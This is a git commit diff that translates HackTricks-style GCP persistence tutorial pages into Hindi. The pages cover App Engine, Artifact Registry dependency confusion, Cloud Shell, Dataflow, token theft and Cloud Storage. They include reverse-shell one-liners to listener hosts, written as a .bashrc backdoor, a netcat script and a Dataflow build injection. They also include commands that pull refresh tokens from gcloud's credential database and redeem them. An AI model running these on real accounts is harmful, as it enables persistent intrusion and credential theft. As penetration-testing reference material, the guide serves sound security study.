Translated ['.github/pull_request_template.md', 'src/README.md', 'src/pe

This commit is contained in:
Translator
2025-01-02 00:06:01 +00:00
parent 0077c42f9c
commit c3127afc90
222 changed files with 2079 additions and 2105 deletions

View File

@@ -12,7 +12,7 @@ API Keys के बारे में अधिक जानकारी के
### नया बनाएं / मौजूदा तक पहुँचें
यह करने के लिए देखें:
यह कैसे करना है, देखें:
{{#ref}}
../gcp-privilege-escalation/gcp-apikeys-privesc.md

View File

@@ -10,11 +10,11 @@ App Engine के बारे में अधिक जानकारी क
../gcp-services/gcp-app-engine-enum.md
{{#endref}}
### Modify code
### कोड संशोधित करें
यदि आप एक चल रही संस्करण के कोड को संशोधित कर सकते हैं या एक नया बना सकते हैं, तो आप इसे अपने बैकडोर को चलाने और स्थिरता बनाए रखने के लिए बना सकते हैं।
यदि आप एक चल रही संस्करण के कोड को संशोधित कर सकते हैं या एक नया बना सकते हैं, तो आप इसे अपने बैकडोर को चलाने के लिए बना सकते हैं और स्थिरता बनाए रख सकते हैं।
### Old version persistence
### पुराने संस्करण की स्थिरता
**वेब एप्लिकेशन का हर संस्करण चलने वाला है**, यदि आप पाते हैं कि एक App Engine प्रोजेक्ट कई संस्करण चला रहा है, तो आप **एक नया बना सकते हैं** जिसमें आपका **बैकडोर** कोड हो, और फिर **एक नया वैध** बना सकते हैं ताकि अंतिम वाला वैध हो लेकिन एक **बैकडोर वाला भी चल रहा होगा**

View File

@@ -12,26 +12,26 @@ Artifact Registry के बारे में अधिक जानकार
### Dependency Confusion
- क्या होता है अगर एक **remote और एक standard** repositories **एक virtual** में **मिश्रित** हो जाएं और एक पैकेज दोनों में मौजूद ह?
- **वर्चुअल रिपॉजिटरी** में सेट की गई **उच्चतम प्राथमिकता** वाला पैकेज उपयोग किया जाता है
- अगर **प्राथमिकता समान है**:
- अगर **संस्करण** **समान** है, तो **वर्चुअल रिपॉजिटरी** में **नीति नाम वर्णानुक्रम में** पहले उपयोग किया जाता है
- अगर नहीं, तो **उच्चतम संस्करण** का उपयोग किया जाता है
- क्या होता है अगर एक **remote और एक standard** repositories **एक virtual** में मिलाए जाते हैं और एक package दोनों में मौजूद ह?
- **Virtual repository** में **highest priority** सेट किया गया वाला उपयोग किया जाता है
- अगर **priority समान है**:
- अगर **version** **समान है**, तो **policy name alphabetically** पहले वाले का उपयोग किया जाता है
- अगर नहीं, तो **highest version** का उपयोग किया जाता है
> [!CAUTION]
> इसलिए, यदि remote repository की प्राथमिकता उच्च या समान है, तो एक सार्वजनिक पैकेज रजिस्ट्री में **उच्चतम संस्करण (dependency confusion)** का **दुरुपयोग** करना संभव है
> इसलिए, यह संभव है कि एक सार्वजनिक package registry में **highest version (dependency confusion)** का **दुरुपयोग** किया जाए अगर remote repository की priority अधिक या समान है
यह तकनीक **persistence** और **unauthenticated access** के लिए उपयोगी हो सकती है, क्योंकि इसका दुरुपयोग करने के लिए केवल **Artifact Registry** में संग्रहीत **लाइब्रेरी का नाम** जानना और **सार्वजनिक रिपॉजिटरी (उदाहरण के लिए, Python के लिए PyPi)** में उसी लाइब्रेरी को उच्च संस्करण के साथ बनाना आवश्यक है।
यह तकनीक **persistence** और **unauthenticated access** के लिए उपयोगी हो सकती है क्योंकि इस दुरुपयोग करने के लिए केवल **Artifact Registry** में संग्रहीत **library name** को **जानना** और **सार्वजनिक repository (उदाहरण के लिए Python के लिए PyPi)** में उसी library को उच्च version के साथ **बनाना** आवश्यक है।
**Persistence** के लिए आपको निम्नलिखित चरणों का पालन करना होगा:
Persistence के लिए आपको निम्नलिखित चरणों का पालन करना होगा:
- **आवश्यकताएँ**: एक **वर्चुअल रिपॉजिटरी** का **अस्तित्व** होना चाहिए और इसका उपयोग किया जाना चाहिए, एक **आंतरिक पैकेज** जिसका **नाम** **सार्वजनिक रिपॉजिटरी** में मौजूद नहीं है, का उपयोग किया जाना चाहिए।
- यदि यह मौजूद नहीं है तो एक remote repository बनाएं
- वर्चुअल रिपॉजिटरी में remote repository जोड़ें
- वर्चुअल रजिस्ट्री की नीतियों को संपादित करें ताकि remote repository को उच्च प्राथमिकता (या समान) दी जा सके।\
- **Requirements**: एक **virtual repository** का **अस्तित्व** होना चाहिए और इसका उपयोग किया जाना चाहिए, एक **internal package** जिसका **name** **public repository** में मौजूद नहीं है, का उपयोग किया जाना चाहिए।
- अगर यह मौजूद नहीं है तो एक remote repository बनाएं
- Remote repository को virtual repository में जोड़ें
- Remote repository को उच्च (या समान) priority देने के लिए virtual registry की नीतियों को संपादित करें।\
कुछ ऐसा चलाएं:
- [gcloud artifacts repositories update --upstream-policy-file ...](https://cloud.google.com/sdk/gcloud/reference/artifacts/repositories/update#--upstream-policy-file)
- वैध पैकेज डाउनलोड करें, अपने दुर्भावनापूर्ण कोड को जोड़ें और इसे उसी संस्करण के साथ सार्वजनिक रिपॉजिटरी में पंजीकृत करें। हर बार जब एक डेवलपर इसे स्थापित करता है, तो वह आपका पैकेज स्थापित करेगा!
- वैध package डाउनलोड करें, अपने दुर्भावनापूर्ण कोड को जोड़ें और इसे सार्वजनिक repository में उसी version के साथ पंजीकृत करें। हर बार जब एक developer इसे स्थापित करता है, तो वह आपका स्थापित करेगा!
Dependency confusion के बारे में अधिक जानकारी के लिए देखें:

View File

@@ -10,9 +10,9 @@ BigQuery के बारे में अधिक जानकारी के
../gcp-services/gcp-bigquery-enum.md
{{#endref}}
### Grant further access
### अतिरिक्त पहुँच प्रदान करें
समझौता किए गए उपयोगकर्ताओं या बाहरी उपयोगकर्ताओं को डेटा सेट, तालिकाओं, पंक्तियों और कॉलमों पर आगे की पहुच प्रदान करें। आवश्यक विशेषाधिकारों की जाच करें और इसे करने के तरीके के लिए पृष्ठ देखें:
समझौता किए गए उपयोगकर्ताओं या बाहरी उपयोगकर्ताओं को डेटा सेट, तालिकाओं, पंक्तियों और कॉलम पर अतिरिक्त पहुच प्रदान करें। आवश्यक विशेषाधिकारों की जाच करें और इसे करने के तरीके के लिए पृष्ठ देखें:
{{#ref}}
../gcp-privilege-escalation/gcp-bigquery-privesc.md

View File

@@ -12,8 +12,8 @@ Cloud Functions के बारे में अधिक जानकारी
### Persistence Techniques
- **Cloud Function का कोड संशोधित करें**, यहां तक कि केवल `requirements.txt`
- **किसी को भी** एक कमजोर Cloud Function या एक बैकडोर को कॉल करने की अनुमति दें
- **जब कुछ होता है** तो एक Cloud Function को ट्रिगर करें ताकि कुछ संक्रमित हो सके
- **Cloud Function का कोड संशोधित करें**, यहां तक कि केवल `requirements.txt` भी
- **किसी को भी** एक कमजोर Cloud Function या एक बैकडोर वाले को कॉल करने की अनुमति दें
- **जब कुछ होता है** तो कुछ संक्रमित करने के लिए एक Cloud Function को **ट्रिगर** करें
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -19,23 +19,23 @@
इस कंसोल में हमलावरों के लिए कुछ दिलचस्प क्षमताएँ हैं:
1. **कोई भी Google उपयोगकर्ता जिसे Google Cloud तक पहुंच है** एक पूरी तरह से प्रमाणित Cloud Shell उदाहरण तक पहुंच रखता है (सेवा खाते, यहां तक कि संगठन के मालिक होने पर भी)।
2. कहा गया उदाहरण **कम से कम 120 दिनों तक अपने होम डायरेक्टरी को बनाए रखेगा** यदि कोई गतिविधि नहीं होती है।
2. कहा गया उदाहरण **कम से कम 120 दिनों तक** अपने होम डायरेक्टरी को बनाए रखेगा यदि कोई गतिविधि नहीं होती है।
3. उस उदाहरण की गतिविधि की निगरानी के लिए **किसी संगठन के लिए कोई क्षमताएँ नहीं हैं**
इसका मतलब यह है कि एक हमलावर उपयोगकर्ता के होम डायरेक्टरी में एक बैकडोर रख सकता है और जब तक उपयोगकर्ता हर 120 दिनों में कम से कम GC Shell से कनेक्ट करता है, बैकडोर जीवित रहेगा और हमलावर को हर बार इसे चलाने पर एक शेल मिलेगा बस ऐसा करके:
इसका मतलब यह है कि एक हमलावर उपयोगकर्ता के होम डायरेक्टरी में एक बैकडोर रख सकता है और जब तक उपयोगकर्ता हर 120 दिनों में GC Shell से कनेक्ट करता है, बैकडोर जीवित रहेगा और हमलावर हर बार इसे चलाने पर एक शेल प्राप्त करेगा बस ऐसा करके:
```bash
echo '(nohup /usr/bin/env -i /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/'$CCSERVER'/443 0>&1 &)' >> $HOME/.bashrc
```
There is another file in the home folder called **`.customize_environment`** that, if exists, is going to be **executed everytime** the user access the **cloud shell** (like in the previous technique). Just insert the previous backdoor or one like the following to maintain persistence as long as the user uses "frequently" the cloud shell:
एक और फ़ाइल है जो होम फ़ोल्डर में **`.customize_environment`** कहलाती है, जो यदि मौजूद है, तो **हर बार** उपयोगकर्ता द्वारा **cloud shell** का उपयोग करने पर **चलायी जाएगी** (जैसे पिछले तकनीक में)। बस पिछले बैकडोर या निम्नलिखित में से एक को डालें ताकि उपयोगकर्ता "नियमित रूप से" cloud shell का उपयोग करते समय स्थिरता बनी रहे:
```bash
#!/bin/sh
apt-get install netcat -y
nc <LISTENER-ADDR> 443 -e /bin/bash
```
> [!WARNING]
> यह ध्यान रखना महत्वपूर्ण है कि **जब पहली बार कोई क्रिया जो प्रमाणीकरण की आवश्यकता होती है, की जाती है**, तो उपयोगकर्ता के ब्राउज़र में एक पॉप-अप प्राधिकरण विंडो प्रकट होती है। इस विंडो को स्वीकार करना आवश्यक है इससे पहले कि कमांड चल सके। यदि कोई अप्रत्याशित पॉप-अप प्रकट होता है, तो यह संदेह पैदा कर सकता है और संभावित रूप से उपयोग की जा रही स्थिरता विधि को खतरे में डाल सकता है।
> यह ध्यान रखना महत्वपूर्ण है कि **पहली बार जब कोई क्रिया जो प्रमाणीकरण की आवश्यकता होती है, की जाती है**, तो उपयोगकर्ता के ब्राउज़र में एक पॉप-अप प्राधिकरण विंडो प्रकट होती है। इस विंडो को स्वीकार करना आवश्यक है इससे पहले कि कमांड चल सके। यदि कोई अप्रत्याशित पॉप-अप प्रकट होता है, तो यह संदेह पैदा कर सकता है और संभावित रूप से उपयोग की जा रही स्थिरता विधि को खतरे में डाल सकता है।
यह पॉप-अप है जो `gcloud projects list` को क्लाउड शेल (हमलावर के रूप में) से निष्पादित करने पर उपयोगकर्ता सत्र में देखा गया:
यह पॉप-अप है जो `gcloud projects list` को क्लाउड शेल (हमलावर के रूप में) से निष्पादित करने पर उपयोगकर्ता सत्र में ब्राउज़र में देखा जाता है:
<figure><img src="../../../images/image (10).png" alt=""><figcaption></figcaption></figure>
@@ -52,7 +52,7 @@ gcloud auth application-default print-access-token
- [https://content-cloudshell.googleapis.com/v1/users/me/environments/default:start](https://content-cloudshell.googleapis.com/v1/users/me/environments/default:start) \[POST] (यह आपको इंस्टेंस शुरू करने के लिए कहेगा)
- [https://content-cloudshell.googleapis.com/v1/users/me/environments/default](https://content-cloudshell.googleapis.com/v1/users/me/environments/default) \[GET] (यह आपको गूगल क्लाउड शेल का आईपी बताएगा)
लेकिन आप [https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key](https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key) में और जानकारी प्राप्त कर सकते हैं
लेकिन आप [https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key](https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key) में और जानकारी प्राप्त कर सकते हैं
## संदर्भ

View File

@@ -10,9 +10,9 @@ Cloud SQL के बारे में अधिक जानकारी क
../gcp-services/gcp-cloud-sql-enum.md
{{#endref}}
### डेटाबेस को एक्सपोज़ करें और अपने IP पते को व्हitelist करें
### डेटाबेस को एक्सपोज़ करें और अपने IP पते को व्हाइटलिस्ट करें
एक डेटाबेस जो केवल एक आंतरिक VPC से सुलभ है, उसे बाहरी रूप से एक्सपोज़ किया जा सकता है और आपके IP पते को व्हitelist किया जा सकता है ताकि आप इसे एक्सेस कर सकें।\
एक डेटाबेस जो केवल एक आंतरिक VPC से सुलभ है, उसे बाहरी रूप से एक्सपोज़ किया जा सकता है और आपके IP पते को व्हाइटलिस्ट किया जा सकता है ताकि आप इसे एक्सेस कर सकें।\
अधिक जानकारी के लिए तकनीक देखें:
{{#ref}}
@@ -21,8 +21,8 @@ Cloud SQL के बारे में अधिक जानकारी क
### एक नया उपयोगकर्ता बनाएं / उपयोगकर्ता का पासवर्ड अपडेट करें / एक उपयोगकर्ता का पासवर्ड प्राप्त करें
एक डेटाबेस से कनेक्ट करने के लिए आपको **बस डेटाबेस द्वारा एक्सपोज़ किए गए पोर्ट** और एक **उपयोगकर्ता ना** और **पासवर्ड** की आवश्यकता है। पर्याप्त **अधिकारों** के साथ आप **एक नया उपयोगकर्ता बना सकते हैं** या **एक मौजूदा उपयोगकर्ता का पासवर्ड अपडेट कर सकते हैं**।\
एक और विकल्प होगा **क उपयोगकर्ता के पासवर्ड को ब्रूट फोर्स करना** कई पासवर्ड आजमाकर या डेटाबेस के अंदर उपयोगकर्ता के **हैश किए गए** पासवर्ड तक पहुचकर (यदि संभव हो) और उसे क्रैक करके।\
एक डेटाबेस से कनेक्ट करने के लिए आपको **बस डेटाबेस द्वारा एक्सपोज़ किए गए पोर्ट** और एक **यूजरने** और **पासवर्ड** की आवश्यकता है। पर्याप्त **अधिकारों** के साथ आप **एक नया उपयोगकर्ता बना सकते हैं** या **एक मौजूदा उपयोगकर्ता का पासवर्ड अपडेट कर सकते हैं**।\
एक और विकल्प होगा **किसी उपयोगकर्ता के पासवर्ड को ब्रूट फोर्स करना** कई पासवर्ड आजमाकर या डेटाबेस के अंदर उपयोगकर्ता के **हैश किए गए** पासवर्ड तक पहुचकर (यदि संभव हो) और उसे क्रैक करके।\
याद रखें कि **GCP API का उपयोग करके एक डेटाबेस के उपयोगकर्ताओं की सूची बनाना संभव है**
> [!NOTE]

View File

@@ -13,7 +13,7 @@ Compute और VPC (Networking) के बारे में अधिक ज
### Persistence abusing Instances & backups
- मौजूदा VMs में बैकडोर
- डिस्क इमेज और स्नैपशॉट में बैकडोर नए संस्करण बनाना
- डिस्क इमेज और स्नैपशॉट्स में बैकडोर बनाना नए संस्करण बनाना
- एक विशेषाधिकार प्राप्त SA के साथ नई सुलभ इंस्टेंस बनाना
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -4,7 +4,7 @@
## Dataflow
### निर्मित कंटेनर में अदृश्य स्थिरता
### निर्मित कंटेनर में अदृश्य स्थायीता
[**दस्तावेज़ से ट्यूटोरियल**](https://cloud.google.com/dataflow/docs/guides/templates/using-flex-templates) का पालन करते हुए, आप एक नया (जैसे कि python) फ्लेक्स टेम्पलेट बना सकते हैं:
```bash
@@ -36,9 +36,9 @@ gcloud dataflow $NAME_TEMPLATE build gs://$REPOSITORY/getting_started-py.json \
--env "/bin/bash -c 'bash -i >& /dev/tcp/0.tcp.eu.ngrok.io/13355 0>&1' & #%s" \
--region=us-central1
```
**जब यह बन रहा है, आपको एक रिवर्स शेल मिलेगा** (आप पिछले उदाहरण की तरह env वेरिएबल्स या अन्य पैरामीटर्स का दुरुपयोग कर सकते हैं जो Docker फ़ाइल को मनमाने चीजें निष्पादित करने के लिए सेट करते हैं)। इस क्षण में, रिवर्स शेल के अंदर, **`/template` निर्देशिका में जाना और मुख्य पायथन स्क्रिप्ट के कोड को संशोधित करना संभव है जो निष्पादित किया जाएगा (हमारे उदाहरण में यह `getting_started.py` है)**। यहाँ अपना बैकडोर सेट करें ताकि हर बार जब कार्य निष्पादित हो, यह इसे निष्पादित करे।
**जब यह बन रहा है, आपको एक रिवर्स शेल मिलेगा** (आप पिछले उदाहरण की तरह env वेरिएबल्स या अन्य पैरामीटर्स का दुरुपयोग कर सकते हैं जो Docker फ़ाइल को मनमाने चीजें निष्पादित करने के लिए सेट करते हैं)। इस समय, रिवर्स शेल के अंदर, यह संभव है कि **`/template` निर्देशिका में जाएं और मुख्य पायथन स्क्रिप्ट के कोड को संशोधित करें जो निष्पादित किया जाएगा (हमारे उदाहरण में यह `getting_started.py` है)**। यहाँ अपना बैकडोर सेट करें ताकि हर बार जब कार्य निष्पादित हो, यह इसे निष्पादित करेगा
फिर, अगली बार जब कार्य निष्पादित होगा, तो समझौता किया गया कंटेनर चलाया जाएगा:
फिर, अगली बार जब कार्य निष्पादित होगा, तो समझौता किया गया कंटेनर बनाया जाएगा:
```bash
# Run template
gcloud dataflow $NAME_TEMPLATE run testing \

View File

@@ -1,4 +1,4 @@
# GCP - Token Persistance
# GCP - टोकन स्थिरता
{{#include ../../../banners/hacktricks-training.md}}
@@ -18,13 +18,13 @@ https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/clou
```bash
sqlite3 $HOME/.config/gcloud/credentials.db "select value from credentials where account_id='<email>';"
```
यह **`$HOME/.config/gcloud/application_default_credentials.json`** और **`$HOME/.config/gcloud/legacy_credentials/*/adc.json`** में रिफ्रेश टोकन खोजने के लिए भी संभव है
यह भी संभव है कि **`$HOME/.config/gcloud/application_default_credentials.json`** और **`$HOME/.config/gcloud/legacy_credentials/*/adc.json`** में रिफ्रेश टोकन पाए जाएं
ए रिफ्रेश किए गए एक्सेस टोकन को **रिफ्रेश टोकन**, क्लाइंट आईडी, और क्लाइंट सीक्रेट के साथ प्राप्त करने के लिए चलाएँ:
क नया रिफ्रेश किया गया एक्सेस टोकन प्राप्त करने के लिए **refresh token**, क्लाइंट आईडी, और क्लाइंट सीक्रेट के साथ चलाएँ:
```bash
curl -s --data client_id=<client_id> --data client_secret=<client_secret> --data grant_type=refresh_token --data refresh_token=<refresh_token> --data scope="https://www.googleapis.com/auth/cloud-platform https://www.googleapis.com/auth/accounts.reauth" https://www.googleapis.com/oauth2/v4/token
```
**Admin** > **Security** > **Google Cloud सत्र नियंत्रण** में रिफ्रेश टोकन की वैधता को प्रबंधित किया जा सकता है, और डिफ़ॉल्ट रूप से इसे 16 घंटे पर सेट किया गया है, हालांकि इसे कभी समाप्त न होने के लिए सेट किया जा सकता है:
**Admin** > **Security** > **Google Cloud session control** में रिफ्रेश टोकन की वैधता को प्रबंधित किया जा सकता है, और डिफ़ॉल्ट रूप से इसे 16 घंटे पर सेट किया गया है, हालांकि इसे कभी समाप्त न होने के लिए सेट किया जा सकता है:
<figure><img src="../../../images/image (11).png" alt=""><figcaption></figcaption></figure>
@@ -34,7 +34,7 @@ curl -s --data client_id=<client_id> --data client_secret=<client_secret> --data
```
/?state=EN5AK1GxwrEKgKog9ANBm0qDwWByYO&code=4/0AeaYSHCllDzZCAt2IlNWjMHqr4XKOuNuhOL-TM541gv-F6WOUsbwXiUgMYvo4Fg0NGzV9A&scope=email%20openid%20https://www.googleapis.com/auth/userinfo.email%20https://www.googleapis.com/auth/cloud-platform%20https://www.googleapis.com/auth/appengine.admin%20https://www.googleapis.com/auth/sqlservice.login%20https://www.googleapis.com/auth/compute%20https://www.googleapis.com/auth/accounts.reauth&authuser=0&prompt=consent HTTP/1.1
```
फिर, gcloud एक कुछ हार्डकोडेड `client_id` (`32555940559.apps.googleusercontent.com`) और **`client_secret`** (`ZmssLNjJy2998hD4CTg2ejr2`) के साथ स्थिति और कोड का उपयोग कर**अंतिम रिफ्रेश टोकन डेटा** प्राप्त करेगा
फिर, gcloud एक कुछ हार्डकोडेड `client_id` (`32555940559.apps.googleusercontent.com`) और **`client_secret`** (`ZmssLNjJy2998hD4CTg2ejr2`) के साथ स्थिति और कोड का उपयोग करेगा ताकि **अंतिम रिफ्रेश टोकन डेटा** प्राप्त किया जा सके
> [!CAUTION]
> ध्यान दें कि localhost के साथ संचार HTTP में है, इसलिए डेटा को इंटरसेप्ट करना संभव है ताकि एक रिफ्रेश टोकन प्राप्त किया जा सके, हालाँकि यह डेटा केवल 1 बार के लिए मान्य है, इसलिए यह बेकार होगा, इसे फ़ाइल से रिफ्रेश टोकन पढ़ना आसान है।
@@ -45,7 +45,7 @@ curl -s --data client_id=<client_id> --data client_secret=<client_secret> --data
```bash
curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-A/\-\._]*' | sort -u
```
यह स्क्रिप्ट यह देखने की अनुमति देती है कि **`gcloud`** द्वारा प्रमाणीकरण के लिए उपयोग किया जाने वाल एप्लिकेशन कौन से स्कोप का समर्थन कर सकत है:
इस स्क्रिप्ट के साथ यह देखना संभव है कि **`gcloud`** द्वारा प्रमाणीकरण के लिए उपयोग क जाने वाल एप्लिकेशन कौन से स्कोप का समर्थन कर सकत है:
```bash
curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-Z/\._\-]*' | sort -u | while read -r scope; do
echo -ne "Testing $scope \r"
@@ -55,7 +55,7 @@ echo $scope
fi
done
```
इसे निष्पाद के बाद यह जांचा गया कि यह ऐप इन स्कोप का समर्थन करता है:
इसे निष्पादित करने के बाद यह जांचा गया कि यह ऐप इन स्कोप का समर्थन करता है:
```
https://www.googleapis.com/auth/appengine.admin
https://www.googleapis.com/auth/bigquery
@@ -65,14 +65,14 @@ https://www.googleapis.com/auth/devstorage.full_control
https://www.googleapis.com/auth/drive
https://www.googleapis.com/auth/userinfo.email
```
यह देखना दिलचस्प है कि यह ऐप **`drive`** स्कोप का समर्थन करता है, जो एक उपयोगकर्ता को GCP से Workspace में बढ़ाने की अनुमति दे सकता है यदि एक हमलावर उपयोगकर्ता को इस स्कोप के साथ एक टोकन उत्पन्न करने के लिए मजबूर करने में सफल हो जाता है।
यह देखना दिलचस्प है कि यह ऐप **`drive`** स्कोप का समर्थन करता है, जो एक उपयोगकर्ता को GCP से Workspace में बढ़ाने की अनुमति दे सकता है यदि एक हमलावर उपयोगकर्ता को इस स्कोप के साथ एक टोकन उत्पन्न करने के लिए मजबूर करने में सफल होता है।
**यहां देखें कि कैसे** [**इसका दुरुपयोग करें**](../gcp-to-workspace-pivoting/#abusing-gcloud)**।**
### सेवा खाते
जैसे कि प्रमाणित उपयोगकर्ताओं के साथ, यदि आप एक सेवा खाते की **निजी कुंजी फ़ाइल को समझौता** करने में सफल होते हैं, तो आप इसे **आम तौर पर जितना चाहें उतना एक्सेस कर सकेंगे**।\
हालांकि, यदि आप एक सेवा खाते का **OAuth टोकन** चुरा लेते हैं, तो यह और भी दिलचस्प हो सकता है, क्योंकि, भले ही डिफ़ॉल्ट रूप से ये टोकन केवल एक घंटे के लिए उपयोगी होते हैं, यदि **शिकारकर्ता निजी एपीआई कुंजी को हटा देता है, तो OAuh टोकन तब भी मान्य रहेगा जब तक कि यह समाप्त नहीं हो जाता**
हालांकि, यदि आप एक सेवा खाते का **OAuth टोकन** चुरा लेते हैं, तो यह और भी दिलचस्प हो सकता है, क्योंकि, भले ही डिफ़ॉल्ट रूप से ये टोकन केवल एक घंटे के लिए उपयोगी होते हैं, यदि **पीड़ित निजी एपीआई कुंजी को हटा देता है, तो OAuh टोकन तब भी मान्य रहेगा जब तक कि यह समाप्त नहीं हो जाता**
### मेटाडेटा

View File

@@ -12,7 +12,7 @@ Cloud Storage के बारे में अधिक जानकारी
### `storage.hmacKeys.create`
आप एक HMAC बना सकते हैं ताकि एक बकेट पर स्थायीता बनाए रखी जा सके। इस तकनीक के बारे में अधिक जानकारी के लिए [**यहाँ देखें**](../gcp-privilege-escalation/gcp-storage-privesc.md#storage.hmackeys.create).
आप एक HMAC बना सकते हैं ताकि एक बकेट पर स्थिरता बनाए रखी जा सके। इस तकनीक के बारे में अधिक जानकारी के लिए [**यहाँ देखें**](../gcp-privilege-escalation/gcp-storage-privesc.md#storage.hmackeys.create).
```bash
# Create key
gsutil hmac create <sa-email>
@@ -23,11 +23,11 @@ gsutil config -a
# Use it
gsutil ls gs://[BUCKET_NAME]
```
Another exploit script for this method can be found [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/storage.hmacKeys.create.py).
एक और एक्सप्लॉइट स्क्रिप्ट इस विधि के लिए [यहाँ](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/storage.hmacKeys.create.py) मिल सकती है।
### सार्वजनिक पहुच दें
### सार्वजनिक पहुच दें
**एक बकेट को सार्वजनिक रूप से सुलभ बनाना** बकेट पर पहुच बनाए रखने का एक और तरीका है। इसे कैसे करना है, देखें:
**एक बकेट को सार्वजनिक रूप से सुलभ बनाना** बकेट पर पहुच बनाए रखने का एक और तरीका है। इसे कैसे करना है, देखें:
{{#ref}}
../gcp-post-exploitation/gcp-storage-post-exploitation.md